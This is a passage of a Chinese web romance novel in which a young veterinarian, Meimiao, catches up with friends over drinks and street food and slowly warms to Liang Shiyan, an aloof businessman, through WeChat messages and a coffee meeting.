美妙回头解释:“我刚开始也一样,三个人耗时十五分钟,人猫都累得半死。后来轮岗的时候打针喂药的活我全包了,这样两星期下来就差不多了。”
最后一句,护士没太听清,她转头忽然盯着门外,没说话。
美妙循着她的视线看过去,门外走廊上,苏屹清俊的身影一闪而过。
“师兄。”她下意识走到门口。
苏屹已经走远,远处治疗室门口已经聚集不少蓝精灵护士,看起来都是等着人过去借工作之便搭讪撩人。
“苏医生真的很招女生喜欢诶,听说他对同事特别温柔。”后面的小护士也跟过来凑着脑袋看。
“……是挺温柔的。”这点美妙没办法否认,他不仅对人温柔,连原来对待实验室的仪器设备都如此。
天上的星星任谁都会喜欢吧,何况还是最亮,最闪耀的一颗。
美妙呆在门口,她其实就是想谢谢他,告诉他,手指已经好了而已,看来没机会了。
正不知所谓地惆怅着,揣在口袋里的手机响了。
“喂,我上班呢。”
那头陈佳佳语气调侃,哎呦一声,“怎么听起来兴致不高呀,谁惹我们小甜甜啦?”
“去你的,我这儿正忙着呢,有事快说。”美妙看了眼住院部,压低了声音。
“那我长话短说,今天晚上请你吃饭。“陈佳佳倒是很高兴的样子,“我有好事,不来你可别后悔。”
“啥好事?”
“来了再说。”
“那行,不过我可能晚点。“美妙约了缅因猫家长谈治疗方案。
她跟陈佳佳是发小,两人一条胡同住了十几年,从上同一所街道的幼儿园开始,一直混到高中毕业,大学因为选了不同的专业,这才分开就读,不过也没离开本市,经常见面。陈佳佳毕业后托家里的关系,弄个了编制坑,在电视台做编导。
有一段没见了,两人约了时间,美妙答应下来,“行,咱俩谁跟谁。”
“行,那晚上见。”
就这么约好了地点,美妙回办公室,还想找点东西先垫吧垫吧肚子,来了一条主任的消息,让她去接诊室。
敲门后进去:“主任,您找我?”
里面邹文昌正看片子,还没说话,美妙就已经看到诊台边坐着的尹女士,双腿优雅地侧坐,腿上恰到好处的放了只包,这回换了LV,看起来矜贵依旧。
说来也怪,这是第二次见面,但美妙却对她印象深刻,大概因为她从上到下都保养得宜,尤其是脸,是传说中那种看不出来年纪的朦胧感。
真想知道是天生的还是后天保养。
美妙笑着点点头,尹女士也笑了下,眼睛看向她脚下:“你这鞋花儿挺好看的,网上买的吗?”
美妙低头,装在洞洞鞋里的脚指头不自觉翘了下,她这鞋超市随便买的,番茄鞋花随鞋自带不花钱,“我这没花钱,买鞋就有。”
“二十块钱,超市买的。”
尹女士楞了下,笑得和蔼,这倒是有些中年人的影子,“挺可爱的。”
美妙道了声谢,“尹女士您别太担心棉花,这方面我们主任是专家,经验丰富。”
这时邹文昌看完检查报告,推了推眼镜,看了眼她。
怎么,拍您马屁您还不高兴?
我这不是促进医患和谐关系么,不过美妙还是很知趣地闭了嘴,老实旁听,认真记录。
邹文昌的意见还是建议手术。
尹女士:“邹主任,我不想让棉花受罪,好处和风险小美医生给我详细解释过了。想来想去还是决定保守治疗。国产的药不好,您就用进口的,用最好的治疗设备,最好的药,钱不是问题,不行我就去国外治。”
棉花目前的情况不算严重,保守治疗也不是不行。
医生终究也得尊重家属意见。
从主任这里出来,美妙陪尹女士到住院部看棉花,中间陈佳佳的催命电话已经打了好几遍。
美妙没功夫接,只回复了一条微信:“千万别催,越催越慢。”
两人敲定的见面地点在酒吧。
陈佳佳早到了,正百无赖聊地四处观望,一见美妙进来,站起来冲她摇手。
美满歪着头取下包丢在吧台上,开始忏悔,“不好意思,我迟到了。”
“哟!您还知道您迟到啦。”陈佳佳看眼手表,她已经苦等了半小时,毫不客气地说:“一会儿饭你请。”
“行。”美妙坐下,呡了口早就点好的鸡尾酒,浅尝下,不像白酒那样立刻有灼烧感,但也挺辣。
陈佳佳笑她。
“怎么样,当社畜的感觉如何?”陈佳佳观察她,“我看你瘦了点,下巴颏都小了,小脸煞白没化妆吧?”说着就要捏人脸颊。
美妙躲过去,又顺着呡了口酒,“我上班化妆给谁看,给我们那些猫猫狗狗的病号啊?”关键它们也欣赏不动,没准还会因为戴口罩的医生气味突变,冷不丁啃人一口。
陈佳佳一个白眼飞过来,“给你那个师兄看啊?”说完,从桌下拿出羊皮小包,翻出一只口红“啪“一下拍桌上。
“送你的!”
“啥?”
“自己看。”
美妙拿起来,借着吧台昏黄暧昧的的灯光勉强认出包装上的标识,“呦,还是臭奈儿。”
“嗯,刚出的色号,特别难买。”陈佳佳得意地看着她。
美妙呦了声:“那应该挺贵吧?”
陈佳佳啧了声:“一般般。”
这口气多财大气粗啊,不对劲不对劲。
美妙转着口红看色号,
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狐疑地看她一眼:“怎么,你发横财了?快说到底有啥好事?”
“你就不能盼我点好。”陈佳佳顿了下,双手抱胸,然后扬着眉毛缓缓地说:“高小岩把工资卡上交了。”
美妙一激动:“你们领证了?!”
陈佳佳没好气白她一眼,“怎么可能,那也太便宜他了。”
美妙:“……”
“那他也够不幸的。”她嘀咕了句。
陈佳佳没听清:“你说什么?”
“我说他够幸福的!”这下周围的人都能听到。
陈佳佳打她一下,得意地抬眉:“那是。”
高小岩是美妙介绍认识的,一来二去,去年两人竟然好上了。反正两人主打的一个愿打一个愿挨,虽然有点惊讶,美妙却不好再说什么,况且她一个没恋爱经验的人,的确不知道说什么。
于是把包拉开,一边把臭奈儿装包里,一边道谢,“谢谢陈编辑。”
陈佳佳却从桌上捡了东西上来,“这什么呀,还印着猫爪?”
美妙一看,忙把东西揪回去,“创口贴。”
“用过的就丢了吧,多脏呀。”陈佳佳摇头看着她,见她还往包里装。
“我饿了,咱去吃饭吧,这太吵我脑袋瓜直嗡嗡,越听越饿。”美妙合上包。
“行,那咱叫上高小岩。”陈佳佳也有同感。
两人从高级酒吧转场街边大排档。
高小岩没多久就到了,人看着没变化,还是当年那个斯文里带点放荡不羁的少年。不对,现在是男人了。
当初他来试听美景山的美术班,那时候也才高中一年级,后来因为偶见美妙的姐姐,一见倾心,便在美景山的画室扎下了根,一呆就是三年。不过美丽对他没感觉,后来,才在美妙的关系下认识了陈佳佳。
没想到,这两人成了。
美妙端着自己的汽水,对着对面两人,“干杯吧,朋友们。”
高小岩说自己来晚了先自罚一杯,然后重新倒满啤酒,问美妙:“你不喝?”
美妙摇头,“不喝,一会还骑车呢。万一警察叔叔逮我呢。”
高小岩笑,美妙还跟从前一样有意思。
有日子没见,碰杯满饮后,高小严认真地打量她:“漂亮了。”
“打住啊。”美妙知道高小岩德行,狗嘴里吐不出象牙,后面肯定大喘气,忙阻止他:“行,到此为止,挺好。”
“还烫了羊毛卷?”高小严又有新发现。
“你还懂这个。”陈佳佳也很惊讶,“这你也懂?”
高小严倒是轻描淡写:“多少懂点,毕竟我是摄影师。”
“反正我姐黑长直,我就短毛卷。主打一个另类,不说多出彩吧,但求吸引眼球。”美妙自我调侃。
因为美丽实在太出众。这高小岩应该最有体会,否则也不可能迷恋几年,别的不说,单论身高,老美家的高个子基因堂哥堂姐们谁都没遗传,就单单给了美丽。小时候,美妙矮墩墩地跟在比她大两岁,又高挑又练舞蹈的姐姐身后,光辉碎了一地。
连高小严那时候都说:美妙,你当美丽的妹妹太吃亏。
不过因为陈佳佳在,两人下意识不提这些。
高小严就笑她:“是你太谦虚。”
美妙也笑他:“是你太抬举。”
“干嘛,你俩说相声呢?“陈佳佳一人一个,就想往两人嘴里塞毛豆。
美妙手机屏幕亮了,她抽纸巾擦擦手,然后点开微信。
忽然噗嗤一声。
引得陈佳佳好奇地看过来:“笑什么呢?”
美妙摸摸刘海:“没什么。”
9. 第 9 章
“没什么?”陈佳佳明显不信,隔着桌子凑过来想看她手机,“没什么你笑得这么……暧昧。”
美妙听着别扭。
她啧一声:“我每天救死扶伤,就不兴我笑笑啊。”
陈佳佳表示怀疑。
美妙只是看了看没动,原封不动将手机扣在桌上,随手开始剥毛豆。
这又是一条好友添加申请:
【我是被美医生救过命的梁时言。】
美妙觉得好笑。
之前发过的那两条,第一次是:【我是梁时言。】
第二次,多了两个字:【我是舒克的主人梁时言。】
她笑,是因为实在没想到。
明明已经拒绝两次,这人居然还能接着发,她这会就有点搞不懂了,觉得这人挺…挺特别的,说话的时候惜字如金,人也感觉冷冷清清又有点深,总之,就是十分不好接触。
服务员又端了盘麻辣螺丝上来,三人拿着牙签挑肉。
等美妙又喝了半瓶汽水,上了个厕所回来,擦干净手,这才摁亮手机,慢悠悠地点开微信,毕竟人家已经承认被救这就算扯平了,她也不想得罪医院客户。
于是找到刚才的通讯录小红点,新的朋友——。
嗯?!
怎么没了!
美妙愣住。
这是怎么回事?
新朋友的界面空空如也。
反应了一会,她无语的哼笑一声,这才意识到对方把好友申请撤回了。
陈佳佳伸出手在她眼前晃,“怎么了,吃螺丝吃傻啦?”
“没事。”美妙哼笑一声,自己都觉得无语。
“诶,那你跟你那个师兄现在什么情况?”趁着高小岩上洗手间的功夫,陈佳佳开始关心她的个人问题。
“不怎么样……”美妙拾起筷子,戳了戳不锈钢盘里的翠绿毛豆,有点沮丧。
陈佳佳皇上不急急死太监:“我说你倒是积极点,人到底有女朋友没?”
“不知道,没打听到。”她又戳了戳毛豆。
“那不管丫的,你直接冲上去表白,有枣没枣先打一杆子再说。”
“啊……!”这建议对美妙来说是个不小的冲击。
“要我说,你上学那会儿就应该直接扑上去,说不定现在婚都结了。”
美妙终于抬脸,惊恐道:“人家那会有女朋友好不好。”
“长什么样,哪种类型?”陈佳佳一脸坦然,接着盘问。
美妙动动脚,换了个坐姿,撑着下巴,回忆着说:“学习好,个子很高…长腿,皮肤白,头发又黑又亮,说话的声音也温柔——”
“那种高智,御姐范儿。”她补了句。
陈佳佳:“……”
一时哑然。
她从上到下打量美妙。
得!跟咱家妙妙压根不是一个品种,想了想,还是违心安慰她:“说不定他现在变了呢,咱给他换换口味?”
“去你的!“美妙捏了一只毛豆丢她,哐当一声落在对面盘子里,“你以为吃大排档呢,这家不行换那家。”
陈佳佳颇感无语地摇头,哀其不幸怒其不争地说:“你个怂包!”
这时候高小严回来了,两人对视一眼,心照不宣闭嘴了。
高小严问她俩聊什么,陈佳佳说女人家的事男人别管。
她就张罗着活跃气氛:“来来,咱换个话题。”
然后自说自话,开始吐槽今天下午刚录的节目。
一四线小明星,镜头前人模人样,摄影机一关我的妈呀,这也不是那也挑剔,恨不得眼珠子长头顶上。这些人,人前人后两幅面孔,累不累啊。
高小严深有感触:“要不人职业是演员呢?”
陈佳佳哼唧两声:“这么演下去,非得精神分裂不可。”
美妙笑听着。
“看什么呢?”吕城问梁时言,端了酒杯,“来喝酒。”
梁时言收回视线,拿起自带的矿泉水喝了一口,扣子扣到头的衬衫露出的一截长脖,线条紧致利落,随吞咽律动,让人忍不住也想跟着吞口水。
“梁总一会儿顺路送我回家吧。”旁边的长发女生盯着他尖锐的喉结。
梁时言喝完水,拧上瓶盖,淡淡地看她一眼,没说话。
“我们梁总喝不喝酒都不载女生。”吕城笑着打圆场,他这哥们兼老板就这脾气,不喝酒也从不招惹女人。不过今天情况不一样,杨氏公司千金主动相邀来吃大排档,摆明了是想亲近,又是大宗合同,实在不能怠慢,他对梁时言说:“要不今天破个例?”
梁时言不说话,他觉得没必要再聊下去。
吕城继续给他使眼色,意思是合同你还想不想要。
梁时言知道吕城的意思,没回应,他拿起手边的瓶装水,隔空对着女孩的酒杯碰了下,淡淡看她一眼说:“抱歉,不方便。”然后从大排档局促的塑料椅上起身,头也没回,往店里走。
他这个人,向来无情得很。
无论男女。
吕城无奈地笑笑:“我们梁总就这样,并不是针对您。”
女孩没看他,视线一直追逐着梁时言挺拔的背影,一身干净的白衣黑裤,矜贵内敛,给人的感觉始终冷冷淡淡,却偏偏叫人挪不开眼。待这道身影进入餐馆完全消失,她这才转头,问吕城:“他对别的女人也这样吗?”
吕城苦笑,面对风情万种的大美人,一脸可惜地说:“他对漂亮男人也不例外。”
女孩微楞,随后释然地一笑:“吕总,周一到我公司签合同。”
吕城:“……”
我擦这也行,不愧是你。不过他没夸张,梁时言确实对男人也这样,比如他自己,与这家伙相识多年情分自然不浅。就梁时言的座驾,别说坐进去,他连他车门把,都没摸到过。
这个世界上,可能只有舒克那条狗,有这个资格。
聚餐在热闹喧闹中开始,在深夜晚风,绿化带的吱吱虫鸣中到达尾声。
单还是高小严买的,美妙去结账的时候,老板说已经买过了。
同学里的拆二代商二代不少,但高小严明显就接地气多了,这种路边摊苍蝇馆从不嫌弃,甚至有一年暑假,他跟着她们,晚上跑到野河沟捞小龙虾。
三人在路边告别。
陈佳佳开一辆红色的轿车,她就喜欢这种高调的颜色。
她搂着高小严胳膊,歪着头探出来:“真不让
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送你啊?”
美妙笑了下,催他们麻溜开车,“天子脚下,我还怕被人劫道不成?”
陈佳佳给代驾报地址,拽了拽高小严胳膊:“喂,你认识人多,给我们妙妙介绍一个?”
高小严家里做生意关系多,进电视台干摄影师结交的人也不少,交友广泛。
听到这话。
高小严想起高中时第一次见美妙。
那天他刚打开画架,一个眉眼弯弯的女生敲门,小心翼翼地进来问美老师在哪里,她来给爸爸送饭。那时候美妙应该上初二,一个人骑自行车来的,脸颊冻得红红。
跟她姐姐美丽,完全是两种感觉。
他把自己那些朋友过了一遍,说:“算了吧,他们都配不上美妙。”
陈佳佳听后一怔,略一深思,点点头:“也对,我们妙妙一个没恋爱经验的人,可不能让狼叼走了。”
她这会突然发现高小严的与众不同来,凑到他耳边:“说的好,今晚我好好奖励你。”
高小严冲窗外摆手,“路上小心,我们走啦!”
美妙也挥挥手:“拜拜!”
夜色深远,路面热气散尽,风比来的时候大,有一种属于夜晚的宁静美好,城市白天的喧闹逐渐散尽,风也凉爽。
美妙戴上头盔,拧亮自己的小电驴,迎着惬意的晚风,骑在宽阔的街道。
“嘀嘀—”
两声轻快鸣响。
美妙下意识回头看了眼,自己没挡道。
“嘀嘀—”
又是两声鸣笛。
听起来不那么刺耳,甚至带点礼貌的意味。
美妙转头,旁边快车道慢悠悠靠近一台车,她感觉有点似曾相识,不过大街上跑的车只要颜色一样,长得都差不多,她没当回事,扭回头继续往前骑。
“美医生回家吗?”冷不丁有人问了句。
美妙一惊,这冷淡的嗓音莫名耳熟,她一扭头,果然,在护栏那边,驾驶室里摆着一张不痛不痒的脸。
屁话。
不回家去哪里,难道出来扫大街。
美妙勉强挤出一丝笑,客气地说:“对呀,好巧呀。”
那边依旧不紧不慢。
梁时言忽然笑了,又降低点车速后,语气闲淡地说:“你那边的烧烤好吃吗?”
美妙:“嗯?”
她稍稍楞了下,发应过来刚才她在那边吃烧烤,这个人应该也在附近,不然不可能这么巧,她慢悠悠地减速,停在红灯前,敷衍地说,“还行吧。”
她看了眼红灯倒计时,忽然想到刚才没加到的微信,实在弄不明白这人的思路,照理说他主动撤回,那他看到她应该装成看不见,直接开走,不就得了。
干嘛又来打招呼。
于是转头,有点尴尬,但还是直接问他:“那个你到底——”
话还没讲完,被后面一阵喇叭的长滴催促声打断,只见梁时言看她一眼,说了句:“先走了。”然后发动机启动,扬长而去。
美妙:……
后面也有人滴她,没工夫感慨,她拧了拧车把加电,也一溜烟的开过去。
小电驴两条轮胎,噌噌摩擦着地面,几乎有火星冒出来。
10. 第 10 章
虽然已经打过招呼,但小区门口还是见到了熟悉的身影。
“爸爸。”
“这都几点了?”美景山眯着眼看手表,语气嗔怪,“以后不许这么晚。”
美妙推着车,跟着老美往单元楼走,“跟佳佳还有高小岩好长时间没见,就多聊会儿。”
美景山好几年没见高小岩,对他的印象还停留在考大学前,哼了声,“那小子还好吧,当年来画室试听,没上半节课就说要跟着我学画画。谁知道当初是为追你姐姐,这小子没安好心。”
那都多少年前的老黄历。
美妙笑笑:“高小岩现在跟佳佳一个单位,俩人挺好。”美景山点点头没再多说,等美妙停好车,刷卡冲上电,被美妙挽着胳膊上楼。
洗完澡出来趴床上。
美妙把差点弄丢的猫爪绷带拿出来,收进了一只铁盒。
这个铁盒有些年头,上头印着红绿色的小丑马戏团,是多年前美老师去香港出差带回的,原本装的饼干,当初饼干一打开,一天就被姐妹俩吃光。美妙觉得这盒子漂亮,花了5块小饼干给姐姐,用到现在。
除了刚装进去的绷带,里面还有美妙幼儿园得的第一朵小红花,跟姐姐去河边拣的小石头,生日陈佳佳送的发绳。就这么一堆,被沈文芳称为破烂儿的东西。
可美妙喜欢,每隔一段时间,就要翻翻。
盘完破烂儿,美妙对着里面的一把折叠小镜子擦口红,还别说,陈佳佳挺了解她。
她抿了抿嘴唇,膏体看着有点深抹上还挺自然,淡淡奶茶色,清透又自然。
“叮咚叮咚。”手机来消息。
美妙对着小镜,自恋地多欣赏几秒,伸手将床头手机拿过来。
陈佳佳:【到家了吗?】
美妙马上回:【到家了,正在涂你给的臭奈儿呢,真不错,我喜欢。】
陈佳佳:【喜欢就好。摸摸狗头】
你才狗呢。
美妙给她回了一只滚球的猫,然后收拾东西准备睡觉,窸窸窣窣刚躺下,床头柜上手机屏幕又亮了。
她爬起来看。
嚯?又来。
她不可思议地点开看着通讯录,居然还是那个梁时言。
他加她:【我是梁时言,这是我私人号。】
所以,之前的是他工作号。
她想了下,一边打着哈欠一边通过了,然后顿了下,随手填备注名。丢下手机重新躺回去,又打了一个哈欠,感觉眼睛湿漉漉的,很快睡着了。
她回他:【OK,我没私人号,我是施恩不图报的美妙。】
梁时言遛狗回来看到了美妙的通过消息,然后他点开对话框,点开她的头像,一顶花边小花帽脸只露了三分之一,搞怪风格。
他发了条消息过去。
洗澡出来,浴袍半敞,梁时言对着镜子擦还在滴水的头发,他撇了一眼浴室台上的漆黑手机,随即收回视线落在镜子里,漫不经心,又擦了一会儿头发,然后拿起手机回到卧室。
房间里点了一只香薰灯,冷冽清淡的味道弥漫,床头灯一直亮着。
舒克趴在旁边,团在柔软的丝绒软垫上,眼皮阖阖望着主人,也进入了梦乡。
日上三竿,太阳透过窗帘,从东边升起,又缓缓移向南面。
美妙补了一个长长的觉,醒来也没管时间,仰面看着天花板,直到沈文芳进来挖人。
“快起来,再不拉窗帘,太阳就要过去了。”沈文芳进来,径直走到窗边,一把拉开窗帘,大把的阳光照射进来。
美妙瞬间睁不开眼,她的房间朝东,正午过12点太阳就没了。
她拿手遮着眼睛,开口就是,“妈,中午吃什么?”
沈文芳开始扯她毯子,“吃屁!”
“那我可不吃,您跟我爸享用吧。”美妙笑得肚子有点饿。
她还没说下句,身上的被子就被沈文芳扯走了,睡觉穿的裙子一览无余。
沈文芳愕然,美丽从国外给买的这么贵的裙子,这丫头竟然当睡衣穿。
美妙当然知道沈女士想的啥,知道自己露馅,一骨碌爬起来:“妈,妈,我昨晚试裙子,然后太困了就睡着了…”
沈文芳看她一眼,“真的?”
“我发誓。”美妙竖着三根手指,“其实昨晚我臭美来着。”
“快起来吧,你爸饭快做好了。”
“好嘞,还是爸爸对我好”没给她吃屁。
沈文芳把扯来的毯子丢床尾,“养了个白眼狼。”
美妙换掉裙子起来去刷牙,挤好牙膏,摇头晃脑播音乐,这才看到手机上有一条未读消息。
梁时言问她:【到家了吗?】
时间在凌晨过一刻。
距离现在已过去十小时。
美妙想了想没回,划走微信界面,打开自己的红心曲目,轻快的音乐夹着雨点般的节奏在浴室响起。
“嗯,这牙膏真凉。”美妙低头一看,又是一管薄荷味牙膏。因为美丽不喜欢那种甜丝丝的牙膏,所以家里用的都是这类超级冰爽的类型。
感觉脑细胞都在发冰蓝色的荧光。
边吃午饭,美妙这回第一时间刷到了苏屹的朋友圈,大概因为睡眠充足脑袋清醒手速足够快,终于抢到第一名,第一个点赞。
点赞后看时间,一分钟前发的,好险好险。
然后再看发文内容,是一篇转发的关于动物神经学的学术报告,虽然跟自己的专业不搭嘎,但本着多学多看,美妙还是逐字逐句认真看了。
虽然十分想留点评论,但她忍住了,怕丢人。
苏屹发的朋友圈全是学术内容或工作,没一点私人痕迹。
翻完朋友圈点回来,首位还挂着梁时言那条消息,出于礼貌,美妙点开想了想还是回了:
【嗯,老早就到了。】
这下感觉聊天聊死了,但她也确实不知道怎么回,毕竟是昨晚的事自己那会已经睡了。
午饭吃的蒜香椒盐排骨,外酥里嫩,好吃到舔手指。这是老美同志的拿手菜,吃完饭沈女士回房间睡午觉,美妙刚把剩下的米饭封上保鲜膜放冰箱,碗盘放进水池,打开了水龙头。
这时老美喊她:“妙妙有消息。”
美妙擦了擦手,出来看。
她拿起餐桌上的手机,嗤了一声。
梁时言居然回了,不仅回了,而且她没想到这人居然还会开玩笑。
梁时言:【还以为你被打劫了。】
美妙笑着摇摇头,手指飞快地回:
那不会,我一没钱二没……手指一顿,想了想这么说有点自降身价,于是删了。
豪气地换成:【真遇上坏人,说不定谁劫谁。】
“嗖”一声发出去,继续回厨房洗碗。
午后阳光透过整面落地窗,斜铺在深灰色的地毯上,窗外是这座城市
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充满力度的天际线。纤尘不染的办公室里,一张宽大的办公桌,一侧被照得漆面反光,能看清木纹的细腻肌理,另一侧则沉在暗影里,界限分明。
桌角的手机“嗡嗡”震了两下。
梁时言低头看着桌上的文件,他没动,只是淡淡扫了眼,然后视线回归,继续看合同。十分钟后,他拿起内线电话,给吕城打过去。
“你过来一下。”
说实话,吕城两年前跟着随梁时言一起回国的时候,内心很忐忑。因为不是谁都有这样的魄力,一朝放弃旧金山极致优渥的工作生活,然后回国从零开始。一边感慨着,吕城推开漆黑的办公室大门:“梁总,你找我?”
梁时言点头,不解地问:“合同总价怎么降了两个点?”
吕城眉峰一抬,一脸你明知故问还来问我的表情。
虽然吐槽的话在出合同的时候已经骂过了,但嘴上还是不敢明说:“严总一早来电话,说梁总应邀赴约,却不肯送喝醉的客户回家,所以他们公司觉得我们很没诚意,压价也合理。”
实际上那位的原话是:我这会儿还没睡醒,你让梁总给我打个电话,我这人其实特别好沟通。
梁时言安静听着,没说话。
吕城冲钱不冲人,低声说:“要不你打个电话过去,大概一句话就能改回去。”心情好再多说两句,兴许还能加两个点,反正对方摆明冲你来的,人家还不差钱。
梁时言极轻微地点了一下头:“那就这样,签吧。”
他的目的是将人工智能引入动物医疗领域,避免与天穹集团主营业务直接竞争,其他的都不重要。
吕城还想继续劝,见他说的毫无转圜,刚刚张开的嘴只好又闭上。
算了,他还能说什么,他是老板。
“没其他事了。”梁时言合上文件,起身拿起桌角手机,抬脸看吕城:“明天签合同我就不去了,你代表我去。”
吕城听了有点急,皮鞋一踩,走到桌前:“这么一大笔合同,你不去不行。况且,你就不怕那边变卦?”
梁时言淡笑,嘴角有嘲讽之意:“对方的团队又不是傻子,好不容易找由头降两个点,还不签等什么。”
吕城一想也对。
不过,他发自内心替严大小姐,以及垂涎梁时言的女人们感到惋惜。
你说这家伙披着一张极品皮囊,学历也好,搁谁谁能忍住不心动。可是呢,这货偏偏是个万年老光棍,自己挣这么多钱,给谁花呢,家里那条狗吗?
正想着,只听梁时言补了句:“合同里加一条,双方约定该项目后期设备全部由乙方供应。”停了停,“明天去的时候带束花慰问一下,以公司的名义。”
我靠!绝了!
这脑子,太狠了。
吕城不自觉地摇头,立刻联想到明天严小姐欢天喜地接花,开开心心签字的模样,再一次,由衷地替她感到心酸。
吕城简直甘拜下风。
“还有事?”梁时言见他没走,看过去。
吕城没动,就发现梁时言一直低头对着手机,手指停滞了半天,表情……有些不一样。
他有点好奇,随口就问:“你跟谁发消息呢?”
“没什么。”梁时言语气随意,手指一摁侧边键屏幕随之暗下。
他顺势将手机揣进西裤口袋,抬头看一眼吕城:“我先走了。”
说完,长腿阔步,朝门口走去。
11. 第 11 章
吕城见他真走了,站那楞了会儿,无聊地耸耸肩,“那我也早点下班。”
刚转身,办公室秘书端了杯咖啡进来,“吕总?”目光却看向空落落无人的办公桌后,
“梁总走了吗?”她柔声细语地问。
吕城看在眼里在心里叹口气,抿着嘴点点头。
秘书失望地哦了声。
“咖啡倒掉吧。”吕城说着就走了出去,到门口,他回头,忍不住替她感到惋惜:“你这么漂亮,外面有的是男人喜欢你。”
秘书闻言愣了一下,缓了几秒才听懂,很职业地笑了笑,“谢谢吕总夸奖。”
吕城就摇头口气,心说梁时言你这个祸害,老天赶紧派个人收了你!
美妙这会儿正拖地,她杵着拖把杆站在卧室门口,回头看眼光可鉴人的地板,这才感觉心气顺了些。她缓缓吸一口气,放下拖把,继续往卧室行进,边拖边想,这人要再回复什么刺激人的话,她就不客气了。
结果没想到。
家里地板全都拖了一遍,拖把干干净净晾起来,回房间坐下,连跟诊笔记都复习好几页,那头竟然没反应,她抬头,撇了眼扔在旁边的手机,哼笑一声。
这下没话了吧,噎死了吧。
于是啧了声,安心继续看笔记。
这时,旁边手机屏幕忽然亮起,小蜜蜂乍响。
“有只小蜜蜂张开嘴巴beebeebeebeebee,麻烦你快点接小蜜蜂的电话beebeebeeBeebeebeebee——”
美妙拿过来一瞅,显示是一串陌生号码。
她盯了两秒才划开:“喂您好?”
电话里安静了一瞬,然后响起一道淡漠的嗓音:“看来你没存我电话。”
“呃……”美妙迟疑地反应两秒,“您是?”
“我是梁时言。”
“噢……你好。”她有点没反应过来,回复得很官方。
那头明显迟疑了下,稍顿,那道略带冷色质感的声音继续响起:“你是美妙医生?”
美妙即可恢复清醒,她缓缓神,开始摆出高姿态:“是我,如假包换童叟无欺。”
那头似乎笑了下,随后问她:“要不要出来喝咖啡?”
美妙一呆,脱口而出:“凭什么?”
“凭……”只听梁时言说:“为不打不相识,我非常不喜欢生活圈多一个仇人。”
这是主动求和解?
美妙明亮的眼球转了转,这话好像也对,她挑了一侧唇角爽快地说:“行,不过我有条件。”
“什么条件?”那头依旧轻描淡写,不咸不淡。
“见面再说。”美妙很有气势。
她换好衣服拎上包,走到门口换鞋,对正看鉴宝节目的美景山说:“爸爸,我出去一趟。”
美景山回头看她:“那晚上回来吃饭吧?”
“回来,一会儿就回来。”美妙蹲着换鞋,出去讨个说法而已。
正好沈文芳开门回来,看见懒宅女儿周末要出门,眼珠发亮:“出去约会吗?”
“约什么?”美妙真是佩服老一辈的脑回路。
沈文芳顿时泄了气,又劝道:“没事多出去转转,多见见人,老在家呆着怎么可能找到对象。”
美妙一听这脑袋就开始发胀,忙闪身出去,探颗脑袋进来,“行,照您这么说,我今晚上可不回来了。”
说完把门带上走了。
沈文芳脑壳疼,她把一兜菜丢在茶几上,剜了眼稳如泰山的丈夫,“你不是有好些学生,有没合适的,给咱家妙妙介绍一个?”
美景山一门心思看电视,眼不错珠:“以前又不是没介绍,咱家妙妙不见。”
沈文芳:“……”
她颓然地坐下,同样都是十月怀胎,也不知这个老二随了谁。
她有两个女儿,老大打小就招男孩喜欢,书包里装的情书都得论麻袋装,高中以后更是不得了,追她的男生乌央乌央,能从家门口一直排到社区委员会,不用她操一点心。
可这老二呢?
沈文芳移到旁边贵妃榻上,疑惑道:“你说妙妙的脾气长相到底随了谁?”
美景山笑笑:“活泼开朗像她奶奶,小圆脸漂亮随我。”
沈文芳:“……”
没看丈夫一眼,抬屁股走了。
梁时言发的咖啡店地址在市中心,其实地铁可能更方便。但不知怎么的,当美妙迈下单元楼最后一个台阶走出去,思忖两秒,还是转身去了楼后车棚,骑上了电炉。
她这会莫名有种被人约架,她去赴约的悲壮感。
万一谈不拢,她准备骑上座驾调头就走。
就这么下定决心,美妙戴着粉粉可爱的安全帽,一路抵达了位于二环一家连锁咖啡店附近。
老远,她就看到一道颀长的白色身影立在门口路边。
行,算你还算讲究,没坐在里头让人找。
美妙没停车,也基本没减速,一路骑到梁时言面前,一个脚撑地刹住车。
她喊了声:“喂!”
一股小风刮着“杀气“过来,梁时言缓缓从手机屏幕上抬头,美妙连人带车立在跟前。
他抬腕看时间:“挺准时。”
废话。
美妙在心里回一句。
然后她抬头,对上梁时言略带挑剔的眼神,口气强硬:“说吧,到底什么事?”
梁时言扯着嘴角,不知算不算笑,慢悠悠地看着她:“你的条件呢?”
还挺干脆。
美妙也不啰嗦,她没下车,依旧脚撑地,正经地看他:“你欠我一个道歉,再怎么说你也不能搞人身攻击,况且我还救过你。”她气势不减,“反正你得先道歉。”
“我攻击你什么了?”梁时言眼眸淡淡。
“你说我……”美妙一顿,缓了下,平静地回忆他微信:“你说——你说有道理,不过你跳起来……”
“然后呢?”梁时言饶有兴趣地看着她。
“然后……”美妙眼眸微闪,她才没那么傻自揭其短,咳了一声,才说:“反正这梗都烂大街了,就算你没说,傻子都能猜出来。”
你跳起来大概才到别人膝盖。
这到底是那个鬼东西想出来的烂梗。
她不服气,对着梁时言:“我可以跳起来抓烂他们的裤头,你信不信?”
梁时言身形一顿,偏过头,喉结不由自主滚了下,转回来,一脸云淡风轻,对上她:“嗯……信。”
美妙看他不像敷衍,于是快速拉回主题,“那好,我救了你,你也总该当面谢我一声。”
不是号称施恩不图报。
梁时言心里哂笑,“可以。”
他看着美妙一副不理清恩怨不下车的样子,开口:“我先谢。我谢完,你是不是也要谢谢我?”
“凭什么
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?”
美妙瞪大了玻璃瞳仁,简直不可置信。
只见梁时言慢悠悠抽出裤兜里的一只手,做了一个缠绕的动作,然后指向她后背。
美妙循着手指方向扭头看,视线落在自己的包上。
什么意思,反应了一会儿,才反应过来,是包挂。
人逐渐萎靡下来,好像从垃圾桶捡回这东西,这人也出了力气。
她不自在地扭回脸,心道好像是这么回事,不过事情有先有后,救人在前,丢东西在后。总要讲个顺序。
她重新找回约架的气质,将头扬起来:“那你先来,我洗耳恭听。”
……
咖啡店门外,一排芭蕉树,绿色遮阳伞下。
一人面前一杯冰拿铁。
两人对面而坐,中间隔了一张咖啡桌。
美妙低着头抿一口咖啡液,冰块混着牛奶的醇香苦意从舌头侵入口腔,晕染全身毛孔,
遍体清凉。咖啡是梁时言请的,互道一句谢谢之后,两人总算是心平气和的坐下了。但是谁也说不清那句“谢谢”,谁更认真,更敷衍。
美妙撇了他一眼:“你不喝?”
梁时言隔着桌子,一点没隐瞒,“不太喜欢。”
美妙叼着吸管点点头,她自己觉得不错,也可能中午吃太咸加上赶路晒太阳,确实是又热又渴,一不留神,吸管里便传来一阵空洞的咕噜声。
低头一看,居然喝见底了。
